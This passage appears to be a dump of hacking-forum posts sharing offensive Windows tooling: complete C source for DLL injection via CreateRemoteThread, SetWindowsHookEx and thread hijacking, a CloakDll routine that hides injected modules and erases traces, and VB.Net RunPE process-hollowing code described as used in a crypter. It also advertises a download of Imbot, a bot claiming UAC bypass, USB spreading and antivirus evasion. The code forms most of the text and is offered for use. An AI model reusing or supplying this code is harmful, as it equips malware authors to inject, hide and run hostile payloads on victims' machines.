mov [pTID], eax } hProcess = OpenProcess(PROCESS_VM_READ, false, pe.th32ProcessID); ReadProcessMemory(hProcess, (const void *)pTID, &threadID, 4, NULL); CloseHandle(hProcess); return threadID; } Appendix C - CreateRemoteThread complete example source code #include <windows.h> #include <stdio.h> #include <tlhelp32.h> #include <shlwapi.h> #define PROCESS_NAME "target.exe" #define DLL_NAME "injected.dll" //I could just use PROCESS_ALL_ACCESS but it's always best to use the absolute bare minimum of priveleges, so that your code works in as //many circumstances as possible. #define CREATE_THREAD_ACCESS (PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ) BOOL WriteProcessBYTES(HANDLE hProcess,LPVOID lpBaseAddress,LPCVOID lpBuffer,SIZE_T nSize); BOOL LoadDll(char *procName, char *dllName); BOOL InjectDLL(DWORD ProcessID, char *dllName); unsigned long GetTargetProcessIdFromProcname(char *procName); bool IsWindowsNT() { // check current version of Windows DWORD version = GetVersion(); // parse return DWORD majorVersion = (DWORD)(LOBYTE(LOWORD(version))); DWORD minorVersion = (DWORD)(HIBYTE(LOWORD(version))); return (version < 0x80000000); } int WINAPI WinMain(HINSTANCE hInstance,HINSTANCE hPrevInstance,LPSTR lpCmdLine,int nCmdShow) { if(IsWindowsNT()) LoadDll(PROCESS_NAME, DLL_NAME); else MessageBox(0, "Your system does not support this method", "Error!", 0); return 0; } BOOL LoadDll(char *procName, char *dllName) { DWORD ProcID = 0; ProcID = GetProcID(procName); if(!(InjectDLL(ProcID, dllName))) MessageBox(NULL, "Process located, but injection failed", "Loader", NULL); return true; } BOOL InjectDLL(DWORD ProcessID, char *dllName) { HANDLE Proc; char buf[50]={0}; LPVOID RemoteString, LoadLibAddy; if(!ProcessID) return false; Proc = OpenProcess(CREATE_THREAD_ACCESS, FALSE, ProcessID); if(!Proc) { sprintf(buf, "OpenProcess() failed: %d", GetLastError()); MessageBox(NULL, buf, "Loader", NULL); return false; } LoadLibAddy = (LPVOID)GetProcAddress(GetModuleHandle("kernel32.dll"), "LoadLibraryA"); RemoteString = (LPVOID)VirtualAllocEx(Proc, NULL, strlen(DLL_NAME), MEM_RESERVE|MEM_COMMIT, PAGE_READWRITE); WriteProcessMemory(Proc, (LPVOID)RemoteString, dllName, strlen(dllName), NULL); CreateRemoteThread(Proc, NULL, NULL, (LPTHREAD_START_ROUTINE)LoadLibAddy, (LPVOID)RemoteString, NULL, NULL); CloseHandle(Proc); return true; } unsigned long GetTargetProcessIdFromProcname(char *procName) { PROCESSENTRY32 pe; HANDLE thSnapshot; BOOL retval, ProcFound = false; thSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); if(thSnapshot == INVALID_HANDLE_VALUE) { MessageBox(NULL, "Error: unable to create toolhelp snapshot", "Loader", NULL); return false; } pe.dwSize = sizeof(PROCESSENTRY32); retval = Process32First(thSnapshot, &pe); while(retval) { if(StrStrI(pe.szExeFile, procName) ) { ProcFound = true; break; } retval = Process32Next(thSnapshot,&pe); pe.dwSize = sizeof(PROCESSENTRY32); } return pe.th32ProcessID; } Appendix D - SetWindowsHookEx complete example source code #include <windows.h> #include <tlhelp32.h> #define PROC_NAME "target.exe" #define DLL_NAME "injected.dll" void LoadDll(char *procName, char *dllName); unsigned long GetTargetThreadIdFromProcname(char *procName); int WINAPI WinMain(HINSTANCE hInstance,HINSTANCE hPrevInstance,LPSTR lpCmdLine,int nCmdShow) { LoadDll(PROC_NAME, DLL_NAME); return 0; } void LoadDll(char *procName, char *dllName) { HMODULE hDll; unsigned long cbtProcAddr; hDll = LoadLibrary(dllName); cbtProcAddr = GetProcAddress(hDll, "CBTProc"); SetWindowsHookEx(WH_CBT, cbtProcAddr, hDll, GetTargetThreadIdFromProcName(procName)); return TRUE; } unsigned long GetTargetThreadIdFromProcname(char *procName) { PROCESSENTRY32 pe; HANDLE thSnapshot, hProcess; BOOL retval, ProcFound = false; unsigned long pTID, threadID; thSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); if(thSnapshot == INVALID_HANDLE_VALUE) { MessageBox(NULL, "Error: unable to create toolhelp snapshot", "Loader", NULL); return false; } pe.dwSize = sizeof(PROCESSENTRY32); retval = Process32First(thSnapshot, &pe); while(retval) { if(StrStrI(pe.szExeFile, procName) ) { ProcFound = true; break; } retval = Process32Next(thSnapshot,&pe); pe.dwSize = sizeof(PROCESSENTRY32); } CloseHandle(thSnapshot); _asm { mov eax, fs:[0x18] add eax, 36 mov [pTID], eax } hProcess = OpenProcess(PROCESS_VM_READ, false, pe.th32ProcessID); ReadProcessMemory(hProcess, (const void *)pTID, &threadID, 4, NULL); CloseHandle(hProcess); return threadID; } Appendix E - Code cave example source code #include <windows.h> #include <tlhelp32.h> #include <shlwapi.h> #define PROC_NAME "target.exe" #define DLL_NAME "injected.dll" unsigned long GetTargetProcessIdFromProcname(char *procName); unsigned long GetTargetThreadIdFromProcname(char *procName); __declspec(naked) loadDll(void) { _asm{ // Placeholder for the return address push 0xDEADBEEF // Save the flags and registers pushfd pushad // Placeholder for the string address and LoadLibrary push 0xDEADBEEF mov eax, 0xDEADBEEF // Call LoadLibrary with the string parameter call eax // Restore the registers and flags popad popfd // Return control to the hijacked thread ret } } __declspec(naked) loadDll_end(void) { } int WINAPI WinMain(HINSTANCE hInstance,HINSTANCE hPrevInstance,LPSTR lpCmdLine,int nCmdShow) { void *dllString; void *stub; unsigned long wowID, threadID, stubLen, oldIP, oldprot, loadLibAddy; HANDLE hProcess, hThread; CONTEXT ctx; stubLen = (unsigned long)loadDll_end - (unsigned long)loadDll; loadLibAddy = (unsigned long)GetProcAddress(GetModuleHandle("kernel32.dll"), "LoadLibraryA"); wowID = GetTargetProcessIdFromProcname(PROC_NAME); hProcess = OpenProcess((PROCESS_VM_WRITE | PROCESS_VM_OPERATION), false, wowID); dllString = VirtualAllocEx(hProcess, NULL, (strlen(DLL_NAME) + 1), MEM_COMMIT, PAGE_READWRITE); stub = VirtualAllocEx(hProcess, NULL, stubLen, MEM_COMMIT, PAGE_EXECUTE_READWRITE); WriteProcessMemory(hProcess, dllString, DLL_NAME, strlen(DLL_NAME), NULL); threadID = GetTargetThreadIdFromProcname(PROC_NAME); hThread = OpenThread((THREAD_GET_CONTEXT | THREAD_SET_CONTEXT | THREAD_SUSPEND_RESUME), false, threadID); SuspendThread(hThread); ctx.ContextFlags = CONTEXT_CONTROL; GetThreadContext(hThread, &ctx); oldIP = ctx.Eip; ctx.Eip = (DWORD)stub; ctx.ContextFlags = CONTEXT_CONTROL; VirtualProtect(loadDll, stubLen, PAGE_EXECUTE_READWRITE, &oldprot); memcpy((void *)((unsigned long)loadDll + 1), &oldIP, 4); memcpy((void *)((unsigned long)loadDll + 8), &dllString, 4); memcpy((void *)((unsigned long)loadDll + 13), &loadLibAddy, 4); WriteProcessMemory(hProcess, stub, loadDll, stubLen, NULL); SetThreadContext(hThread, &ctx); ResumeThread(hThread); Sleep(8000); VirtualFreeEx(hProcess, dllString, strlen(DLL_NAME), MEM_DECOMMIT); VirtualFreeEx(hProcess, stub, stubLen, MEM_DECOMMIT); CloseHandle(hProcess); CloseHandle(hThread); return 0; } unsigned long GetTargetProcessIdFromProcname(char *procName) { PROCESSENTRY32 pe; HANDLE thSnapshot; BOOL retval, ProcFound = false; thSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); if(thSnapshot == INVALID_HANDLE_VALUE) { MessageBox(NULL, "Error: unable to create toolhelp snapshot", "Loader", NULL); return false; } pe.dwSize = sizeof(PROCESSENTRY32); retval = Process32First(thSnapshot, &pe); while(retval) { if(StrStrI(pe.szExeFile, procName) ) { ProcFound = true; break; } retval = Process32Next(thSnapshot,&pe); pe.dwSize = sizeof(PROCESSENTRY32); } CloseHandle(thSnapshot); return pe.th32ProcessID; } unsigned long GetTargetThreadIdFromProcname(char *procName) { PROCESSENTRY32 pe; HANDLE thSnapshot, hProcess; BOOL retval, ProcFound = false; unsigned long pTID, threadID; thSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); if(thSnapshot == INVALID_HANDLE_VALUE) { MessageBox(NULL, "Error: unable to create toolhelp snapshot", "Loader", NULL); return false; } pe.dwSize = sizeof(PROCESSENTRY32); retval = Process32First(thSnapshot, &pe); while(retval) { if(StrStrI(pe.szExeFile, procName) ) { ProcFound = true; break; } retval = Process32Next(thSnapshot,&pe); pe.dwSize = sizeof(PROCESSENTRY32); } CloseHandle(thSnapshot); _asm { mov eax, fs:[0x18] add eax, 36 mov [pTID], eax } hProcess = OpenProcess(PROCESS_VM_READ, false, pe.th32ProcessID); ReadProcessMemory(hProcess, (const void *)pTID, &threadID, 4, NULL); CloseHandle(hProcess); return threadID; } Sursa: ic0de.org
  7. [sNIPPET] Improvements to GetProcAddress() // GetProcAddress2 - by Darawk // Featured @ www.RealmGX.com & www.Darawk.com // // GetProcAddress2 is essentially identical to the // windows API function GetProcAddress, with one // key difference. GetProcAddress2 does not check // to make sure the module handle that's passed to // it is in the loaded modules list. GetProcAddress2 // is designed to be used in conjunction with ManualMap // or CloakDll. It allows you to access functions that // have been exported from a dll loaded by ManualMap or // cloaked by CloakDll. This functionality is necessary // for plugin-based applications and late-binding functions. #include <windows.h></windows.h> #define IMAGE_DIRECTORY_ENTRY_EXPORT 0 // Pietrek's macro // // MakePtr is a macro that allows you to easily add to values (including // pointers) together without dealing with C's pointer arithmetic. It // essentially treats the last two parameters as DWORDs. The first // parameter is used to typecast the result to the appropriate pointer type. #define MakePtr( cast, ptr, addValue ) (cast)( (DWORD_PTR)(ptr) + (DWORD_PTR)(addValue)) // This one is mine, but obviously..."adapted" from matt's original idea =p #define MakeDelta(cast, x, y) (cast) ( (DWORD_PTR)(x) - (DWORD_PTR)(y)) // My modified version of pietrek's function, to work with PE files that have // already been mapped into memory. LPVOID GetPtrFromRVA( DWORD, IMAGE_NT_HEADERS *, PBYTE, bool); FARPROC GetProcAddress2(HMODULE hMod, char *func) { IMAGE_DOS_HEADER *dosHd; IMAGE_NT_HEADERS *ntHd; IMAGE_EXPORT_DIRECTORY *ied; char **names; unsigned short *ordinals; FARPROC *funcs; // Make sure we got a valid pointer if(!hMod || hMod == INVALID_HANDLE_VALUE) return NULL; dosHd = (IMAGE_DOS_HEADER *)hMod; // Verify the DOS header if(dosHd->e_magic != IMAGE_DOS_SIGNATURE) return NULL; ntHd = MakePtr(IMAGE_NT_HEADERS *, hMod, dosHd->e_lfanew); // Verify the NT header if(ntHd->Signature != IMAGE_NT_SIGNATURE) return NULL; ied = (IMAGE_EXPORT_DIRECTORY *)GetPtrFromRVA((DWORD)(ntHd->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress), ntHd, (PBYTE)hMod, true); names = (char **)GetPtrFromRVA(ied->AddressOfNames, ntHd, (PBYTE)hMod, true); ordinals = (unsigned short *)GetPtrFromRVA(ied->AddressOfNameOrdinals, ntHd, (PBYTE)hMod, true); funcs = (FARPROC *)GetPtrFromRVA(ied->AddressOfFunctions, ntHd, (PBYTE)hMod, true); unsigned int i; for(i = 0; i < ied->NumberOfNames; i++) if(!stricmp((char *)GetPtrFromRVA((DWORD)names[i], ntHd, (PBYTE)hMod, true), func)) break; if(i >= ied->NumberOfNames) return NULL; return MakePtr(FARPROC, hMod, funcs[ordinals[i]]); } // Matt Pietrek's function PIMAGE_SECTION_HEADER GetEnclosingSectionHeader(DWORD rva, PIMAGE_NT_HEADERS pNTHeader) { PIMAGE_SECTION_HEADER section = IMAGE_FIRST_SECTION(pNTHeader); unsigned int i; for ( i = 0; i < pNTHeader->FileHeader.NumberOfSections; i++, section++ ) { // This 3 line idiocy is because Watcom's linker actually sets the // Misc.VirtualSize field to 0. (!!! - Retards....!!!) DWORD size = section->Misc.VirtualSize; if ( 0 == size ) size = section->SizeOfRawData; // Is the RVA within this section? if ( (rva >= section->VirtualAddress) && (rva < (section->VirtualAddress + size))) return section; } return 0; } unsigned long GetMappedSectionOffset(IMAGE_NT_HEADERS *ntHd, IMAGE_SECTION_HEADER *seHd, void *base) { IMAGE_SECTION_HEADER *section = IMAGE_FIRST_SECTION(ntHd); unsigned int i; unsigned long offset = MakeDelta(unsigned long, section, base); for(i = 0; i < ntHd->FileHeader.NumberOfSections; i++, section++) { if(section->Name == seHd->Name) { offset = MakeDelta(unsigned long, section->VirtualAddress, section->PointerToRawData); break; } //offset += (section->SizeOfRawData > ntHd->OptionalHeader.SectionAlignment ? // section->SizeOfRawData - ntHd->OptionalHeader.SectionAlignment : // ntHd->OptionalHeader.SectionAlignment - section->SizeOfRawData); } return offset; } // This function is also Pietrek's LPVOID GetPtrFromRVA( DWORD rva, IMAGE_NT_HEADERS *pNTHeader, PBYTE imageBase, bool mapped ) { PIMAGE_SECTION_HEADER pSectionHdr; INT delta; unsigned long offset = 0; pSectionHdr = GetEnclosingSectionHeader( rva, pNTHeader ); if(mapped) offset = GetMappedSectionOffset(pNTHeader, pSectionHdr, imageBase); if ( !pSectionHdr ) return 0; delta = (INT)(pSectionHdr->VirtualAddress-pSectionHdr->PointerToRawData); return (PVOID) ( imageBase + rva - delta + offset); } Sursa: ic0de.org
  8. [sRC] Length of Function FuncLen.cpp #include <windows.h> #include <stdio.h> #include <vector> #include <iterator> #include <algorithm> #include "types.h" #include "FuncLen.h" /************************************************************************ Function length calculation algorithm - by Darawk: 1. Scan the function's code for branches, and record each branch. Stop upon reaching an end-point*. This group of instructions constitutes the current "block". 2. QSort the branch list 3. Recursively repeat steps 1 & 2 with each branch, skipping duplicates and intra-block branches. *end-point: A ret instruction or an unconditional backwards jump, that jumps to a previous block. ************************************************************************/ int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) { u32 len = GetFunctionLength(GetProcAddress(GetModuleHandle(moduleName), funcName)); char buf[256] = {0}; sprintf(buf, "%s in %s: %u bytes long", funcName, moduleName, len); MessageBox(NULL, buf, "Function Length", NULL); return 0; } u32 GetFunctionLength(void *begin) { void *end = GetFunctionEnd(begin); u32 delta = (u32)((DWORD_PTR)end - (DWORD_PTR)begin); delta += mlde32(end); return delta; } void *GetFunctionEnd(void *func) { void *block = func; vector<void *> branchList; // ptr now points to the end of this block void *blockend = GetBranchListFromBlock(block, branchList); // If there are no branches, then return // the empty list. If we don't have this // here the loop will crash on an empty // branch list. if(branchList.size() == 0) return blockend; // Sort the list so that we can identify and // discard, intra-block branches. And optimize // the removal of duplicates. std::sort(branchList.begin(), branchList.end()); void *prev = NULL; vector<void *>::iterator branch; for(branch = branchList.begin(); branch != branchList.end(); branch++) { // Skip branches that jump into a block we've already // processed. if(*branch < blockend || *branch == prev) continue; blockend = GetFunctionEnd(*branch); prev = *branch; } return blockend; } void *GetBranchListFromBlock(void *block, vector<void *> &branchList) { u8 *ptr = (u8 *)block; // If we reach an end-point, then this block is complete while(!IsEndPoint(ptr, block)) { // Record all branching instructions that we encounter void *address = GetBranchAddress(ptr); if(address) { branchList.push_back(address); } // Next instruction ptr += mlde32(ptr); } return ptr; } void *GetBranchAddress(u8 *instr) { s32 offset = 0; // This code will determine what type of branch it is, and // determine the address it will branch to. switch(*instr) { case INSTR_SHORTJMP: case INSTR_RELJCX: offset = (s32)(*(s8 *)(instr + 1)); offset += 2; break; case INSTR_RELJMP: offset = *(s32 *)(instr + 1); offset += 5; break; case INSTR_NEAR_PREFIX: if(*(instr + 1) >= INSTR_NEARJCC_BEGIN && *(instr + 1) <= INSTR_NEARJCC_END) { offset = *(s32 *)(instr + 2); offset += 5; } break; default: // Check to see if it's in the valid range of JCC values. // e.g. ja, je, jne, jb, etc.. if(*instr >= INSTR_SHORTJCC_BEGIN && *instr <= INSTR_SHORTJCC_END) { offset = (s32)*((s8 *)(instr + 1)); offset += 2; } break; } if(offset == 0) return NULL; return instr + offset; } bool IsEndPoint(u8 *instr, void *curblock) { void *address; s32 offset; switch(*instr) { case INSTR_RET: case INSTR_RETN: case INSTR_RETFN: case INSTR_RETF: return true; break; // The following two checks, look for an instance in which // an unconditional jump returns us to a previous block, // thus creating a pseudo-endpoint. case INSTR_SHORTJMP: offset = (s32)(*(s8 *)(instr + 1)); address = instr + offset; if(address <= curblock) return true; break; case INSTR_RELJMP: offset = *(s32 *)(instr + 1); address = instr + offset; if(address <= curblock) return true; break; default: return false; break; } return false; } FuncLen.h using namespace std; u32 GetFunctionLength(void *begin); bool IsEndPoint(u8 *instr, void *curblock); void *FindEndPoint(void *block); void *GetBranchAddress(u8 *instr); void *GetNextBlock(u8 *instr, void *curBlockEnd); void *GetFunctionEnd(void *func); void ConsolidateBlocks(vector<void *> &blocks); void *GetBranchListFromBlock(void *block, vector<void *> &branchList); char funcName[] = "WinExec"; char moduleName[] = "kernel32.dll"; extern "C" int __cdecl mlde32(void *codeptr); #define INSTR_NEAR_PREFIX 0x0F #define INSTR_SHORTJCC_BEGIN 0x70 #define INSTR_SHORTJCC_END 0x7F #define INSTR_NEARJCC_BEGIN 0x80 // Near's are prefixed with a 0x0F byte #define INSTR_NEARJCC_END 0x8F #define INSTR_RET 0xC2 #define INSTR_RETN 0xC3 #define INSTR_RETFN 0xCA #define INSTR_RETF 0xCB #define INSTR_RELJCX 0xE3 #define INSTR_RELJMP 0xE9 #define INSTR_SHORTJMP 0xEB mlde32.obj is included in archieve or from download //www.darawk.com/code/FuncLen/ Download (cu cont, atasament): http://www.ic0de.org/showthread.php?10442-SRC-Length-of-Function
  9. [sRC] CloakDLL - Hide modules from winapi CloakDll.cpp // CloakDll - by Darawk // // The purpose of CloakDll is to allow the user to hide any loaded // module from the windows API. It works by accessing the modules // list stored in the PEB, and subsequently unlinking the module // in question from all 4 of the doubly-linked lists that it's a // node of. It then zeroes out the structure and the path/file // name of the module in memory. So that even if the memory where // the data about this module used to reside is scanned there will // still be no conclusive evidence of it's existence. At present // there is only one weakness that I have found in this method. // I'll describe how it may still be possible to discover at least // that a module has been hidden, after a brief introduction to how // the GetModuleHandle function works. // // *The following information is not documented by Microsoft. This // information consists of my findings while reverse-engineering // these functions and some of them may be incorrect and/or // subject to change at any time(and is almost definitely different // in different versions of windows, and maybe even in different // service packs). I've tried to make my code as version independant // as possible but certain parts of it may not work on older versions // of windows. I've tested it on XP SP2 and there i'll guarantee // that it works, but on any other versions of windows, it's anyone's // guess.* // // GetModuleHandle eventually calls GetModuleHandleExW, which in // turn accesses the native API function GetDllHandle, which calls // GetDllHandleEx. And it's not until here, that we actually see // anything even begin to look up information about loaded modules. // Whenever GetModuleHandle is called, it saves the address of the // last ModuleInfoNode structure that it found in a global variable // inside of ntdll. This global variable is the first thing // checked on all subsequent calls to GetModuleHandle. If the // handle being requested is not the one that was requested the last // time GetDllHandleEx calls the LdrpCheckForLoadedDll function. // LdrpCheckForLoadedDll begins by converting the first letter of the // module name being requested to uppercase, decrementing it by 1 and // AND'ing it with 0x1F. This effectively creates a 0-based index // beginning with the letter 'A'. The purpose of this is so that // the module can first be looked up in a hash table. The hash table // consists entirely of LIST_ENTRY structures. One for each letter // 'A' through 'Z'. The LIST_ENTRY structure points to the first // and last modules loaded that begin with the letter assigned to // that entry in the hash table. The Flink member being the first // loaded beginning with that letter, and the Blink member being the // last. The code scans through this list until it finds the module // that it's looking for. On the off-chance that it doesn't find it // there, or if the boolean argument UseLdrpHashTable is set to false // it will begin going through one of the other three lists. If, at // this point it still doesn't find it, it will admit defeat and return // 0 for the module handle. // // Weakness: The global variable inside ntdll that caches the pointer // to the last module looked up could be used to at least detect the // fact that a module has been hidden. The LdrUnloadDll() function // will set this value to 0 when it unloads a module, so if the cache // variable points to an empty structure, the only logical conclusion // would be a hidden module somewhere in the process. This could be // resolved by using the static address of this variable and simply // zeroing it out. However, this would make the code specific to only // one version of windows. You could also scan the address space of // ntdll for any occurences of the base address(aka module handle) // of the module you're hiding. However, this would be slow and it // would clutter up the CloakDll_stub function, because it'd have to // all be done manually. And i'd have to either use a static base // address for ntdll...which would probably work on most versions // of windows, however I really don't like using static addresses. // Or i'd have to manually locate it by writing my own unicode // string comparison code, to lookup ntdll in the list by it's name. // Realistically though anyone trying to detect this way would run // into the same problem. That their code would not be version // independant. So, it's unlikely to see any largescale deployment // of such a technique. However, anyone who would like to solve // this problem themselves is perfectly free, and encouraged to do // so. #include <windows.h> #include <winnt.h> #include <tlhelp32.h> #include <shlwapi.h> #pragma comment(lib, "shlwapi.lib") #define UPPERCASE(x) if((x) >= 'a' && (x) <= 'z') (x) -= 'a' - 'A' #define UNLINK(x) (x).Blink->Flink = (x).Flink; \ (x).Flink->Blink = (x).Blink; #pragma pack(push, 1) typedef struct _UNICODE_STRING { USHORT Length; USHORT MaximumLength; PWSTR Buffer; } UNICODE_STRING, *PUNICODE_STRING; typedef struct _ModuleInfoNode { LIST_ENTRY LoadOrder; LIST_ENTRY InitOrder; LIST_ENTRY MemoryOrder; HMODULE baseAddress; // Base address AKA module handle unsigned long entryPoint; unsigned int size; // Size of the modules image UNICODE_STRING fullPath; UNICODE_STRING name; unsigned long flags; unsigned short LoadCount; unsigned short TlsIndex; LIST_ENTRY HashTable; // A linked list of any other modules that have the same first letter unsigned long timestamp; } ModuleInfoNode, *pModuleInfoNode; typedef struct _ProcessModuleInfo { unsigned int size; // Size of a ModuleInfo node? unsigned int initialized; HANDLE SsHandle; LIST_ENTRY LoadOrder; LIST_ENTRY InitOrder; LIST_ENTRY MemoryOrder; } ProcessModuleInfo, *pProcessModuleInfo; #pragma pack(pop) bool CloakDll_stub(HMODULE); void CD_stubend(); bool CloakDll(char *, char *); unsigned long GetProcessIdFromProcname(char *); HMODULE GetRemoteModuleHandle(unsigned long, char *); int main(int argc, char **argv) { CloakDll("notepad.exe", "kernel32.dll"); return 0; } bool CloakDll(char *process, char *dllName) { PathStripPath(dllName); unsigned long procId; procId = GetProcessIdFromProcname(process); HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, procId); // Calculate the length of the stub by subtracting it's address // from the beginning of the function directly ahead of it. // // NOTE: If the compiler compiles the functions in a different // order than they appear in the code, this will not work as // it's supposed to. However, most compilers won't do that. unsigned int stubLen = (unsigned long)CD_stubend - (unsigned long)CloakDll_stub; // Allocate space for the CloakDll_stub function void *stubAddress = VirtualAllocEx(hProcess, NULL, stubLen, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE); // Write the stub's code to the page we allocated for it WriteProcessMemory(hProcess, stubAddress, CloakDll_stub, stubLen, NULL); HMODULE hMod = GetRemoteModuleHandle(procId, dllName); // Create a thread in the remote process to execute our code CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)stubAddress, hMod, 0, NULL); // Clean up after ourselves, so as to leave as little impact as possible // on the remote process VirtualFreeEx(hProcess, stubAddress, stubLen, MEM_RELEASE); return true; } bool CloakDll_stub(HMODULE hMod) { ProcessModuleInfo *pmInfo; ModuleInfoNode *module; _asm { mov eax, fs:[18h] // TEB mov eax, [eax + 30h] // PEB mov eax, [eax + 0Ch] // PROCESS_MODULE_INFO mov pmInfo, eax } module = (ModuleInfoNode *)(pmInfo->LoadOrder.Flink); while(module->baseAddress && module->baseAddress != hMod) module = (ModuleInfoNode *)(module->LoadOrder.Flink); if(!module->baseAddress) return false; // Remove the module entry from the list here /////////////////////////////////////////////////// // Unlink from the load order list UNLINK(module->LoadOrder); // Unlink from the init order list UNLINK(module->InitOrder); // Unlink from the memory order list UNLINK(module->MemoryOrder); // Unlink from the hash table UNLINK(module->HashTable); // Erase all traces that it was ever there /////////////////////////////////////////////////// // This code will pretty much always be optimized into a rep stosb/stosd pair // so it shouldn't cause problems for relocation. // Zero out the module name memset(module->fullPath.Buffer, 0, module->fullPath.Length); // Zero out the memory of this module's node memset(module, 0, sizeof(ModuleInfoNode)); return true; } __declspec(naked) void CD_stubend() { } unsigned long GetProcessIdFromProcname(char *procName) { PROCESSENTRY32 pe; HANDLE thSnapshot; BOOL retval, ProcFound = false; thSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); if(thSnapshot == INVALID_HANDLE_VALUE) { MessageBox(NULL, "Error: unable to create toolhelp snapshot", "Loader", NULL); return false; } pe.dwSize = sizeof(PROCESSENTRY32); retval = Process32First(thSnapshot, &pe); while(retval) { if(StrStrI(pe.szExeFile, procName) ) { ProcFound = true; break; } retval = Process32Next(thSnapshot,&pe); pe.dwSize = sizeof(PROCESSENTRY32); } return pe.th32ProcessID; } HMODULE GetRemoteModuleHandle(unsigned long pId, char *module) { MODULEENTRY32 modEntry; HANDLE tlh = CreateToolhelp32Snapshot(TH32CS_SNAPMODULE, pId); modEntry.dwSize = sizeof(MODULEENTRY32); Module32First(tlh, &modEntry); do { if(!stricmp(modEntry.szModule, module)) return modEntry.hModule; modEntry.dwSize = sizeof(MODULEENTRY32); } while(Module32Next(tlh, &modEntry)); return NULL; } Sursa: ic0de.org
  10. Nytro

    Imbot V5.3

    Imbot V5.3 + Support for all Windows systems (Including Seven and startup for Windows Vista) + Bypass UAC of Windows Vista and Windows seven (do not simply pass off without being seen) + Command to open in a web browser of choice (syntax. <web> Navigate) USB + Spread FUD (Undetectable) * Improved organizational system nicks and identification. Download: http://www.opensc.ws/attachments/bots-rootkits/4896d1290833381-imbot-v5-3-imbot-v5.3.rar Sursa: Imbot V5.3
  11. Wifi Cracker 1.5 - Linux Fern Wifi Cracker 1.5 is available, download fern 1.2 then update to 1.5 by using the update download button This is a wireless security auditing application that is written in python and uses python-qt4. This application uses the aircrack-ng suite of tools. It should work on any version of linux running the following: Requirements: python python-qt4 macchanger aircrack-ng xterm subversion To install simply run the following command in terminal after changing directory to the path were the downloaded package is: root@host:~# dpkg -i Fern-Wifi-Cracker_1.2_all.deb Download: http://code.google.com/p/fern-wifi-cracker/downloads/list Sursa: http://www.hackhound.org/forum/index.php?/topic/39379-wifi-cracker-15-linux/
  12. [VB.Net] RunPe's Reflection RunPe Credits: Deathader Imports System Imports System.Windows.Forms Imports System.Reflection Imports System.IO Imports System.Runtime.CompilerServices Private Function ReadExeFromFile(ByVal filename As String) As Byte() Dim fs As New FileStream(filename, FileMode.Open, FileAccess.Read) Dim exeData As Byte() = New Byte(fs.Length - 1) {} fs.Read(exeData, 0, System.Convert.ToInt32(fs.Length)) fs.Close() Return exeData End Function Private Function ReadExeFromResources(ByVal filename As String) As Byte() Dim CurrentAssembly As Reflection.Assembly = Reflection.Assembly.GetExecutingAssembly() Dim Resource As String = String.Empty Dim ArrResources As String() = CurrentAssembly.GetManifestResourceNames() For Each Resource In ArrResources If Resource.IndexOf(filename) > -1 Then _ Exit For Next Dim ResourceStream As IO.Stream = CurrentAssembly.GetManifestResourceStream(Resource) If ResourceStream Is Nothing Then Return Nothing End If Dim ResourcesBuffer(CInt(ResourceStream.Length) - 1) As Byte ResourceStream.Read(ResourcesBuffer, 0, ResourcesBuffer.Length) ResourceStream.Close() Return ResourcesBuffer End Function Private Function StringToByteArray(ByVal str As String) As Byte() Dim encoding As New System.Text.ASCIIEncoding() Return encoding.GetBytes(str) End Function Private Sub RunFromMemory(ByVal bytes As Byte()) Dim assembly As Assembly = assembly.Load(bytes) Dim entryPoint As MethodInfo = [assembly].EntryPoint Dim objectValue As Object = RuntimeHelpers.GetObjectValue([assembly].CreateInstance(entryPoint.Name)) entryPoint.Invoke(RuntimeHelpers.GetObjectValue(objectValue), New Object() {New String() {"1"}}) End Sub USAGE: Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click Dim x As New Threading.Thread(AddressOf RunFromMemory) x.Start(ReadExeFromResources("EmbeddedExe.exe")) End Sub T0fx Pe & JapaBrz PE t0fx RunPe[used in Moon Crypter] [CODE]Class RunPE Public Const PAGE_NOCACHE As Long = &H200 Public Const PAGE_EXECUTE_READWRITE As Long = &H40 Public Const PAGE_EXECUTE_WRITECOPY As Long = &H80 Public Const PAGE_EXECUTE_READ As Long = &H20 Public Const PAGE_EXECUTE As Long = &H10 Public Const PAGE_WRITECOPY As Long = &H8 Public Const PAGE_NOACCESS As Long = &H1 Public Const PAGE_READWRITE As Long = &H4 Public Const PAGE_READONLY As System.UInt32 = &H2 Shared Sub Execute(ByVal data() As Byte, ByVal target As String) Dim C = New H.Context, SH As H.Section_Header, PI = New H.Process_Information, SI = New H.Startup_Information, PS = New H.Security_Flags, TS = New H.Security_Flags Dim GC = System.Runtime.InteropServices.GCHandle.Alloc(data, System.Runtime.InteropServices.GCHandleType.Pinned) Dim Buffer As Integer = GC.AddrOfPinnedObject.ToInt32 Dim DH As New H.DOS_Header DH = System.Runtime.InteropServices.Marshal.PtrToStructure(GC.AddrOfPinnedObject, DH.GetType) GC.Free() If H.CreateProcess(Nothing, target, PS, TS, False, 4, Nothing, Nothing, SI, PI) = 0 Then Return Dim NH As New H.NT_Headers NH = System.Runtime.InteropServices.Marshal.PtrToStructure(New System.IntPtr(Buffer + DH.Address), NH.GetType) Dim Address, Offset As Long, ret As UInteger SI.CB = Len(SI) C.Flags = 65538 If NH.Signature <> 17744 Or DH.Magic <> 23117 Then Return If H.GetThreadContext(PI.Thread, C) And H.ReadProcessMemory(PI.Process, C.Ebx + 8, Address, 4, 0) >= 0 And H.ZwUnmapViewOfSection(PI.Process, Address) >= 0 Then Dim ImageBase As System.UInt32 = H.VirtualAllocEx(PI.Process, NH.Optional.Image, NH.Optional.SImage, 12288, 4) If ImageBase <> 0 Then H.WriteProcessMemory(PI.Process, ImageBase, data, NH.Optional.SHeaders, ret) Offset = DH.Address + 248 For I As Integer = 0 To NH.File.Sections - 1 SH = 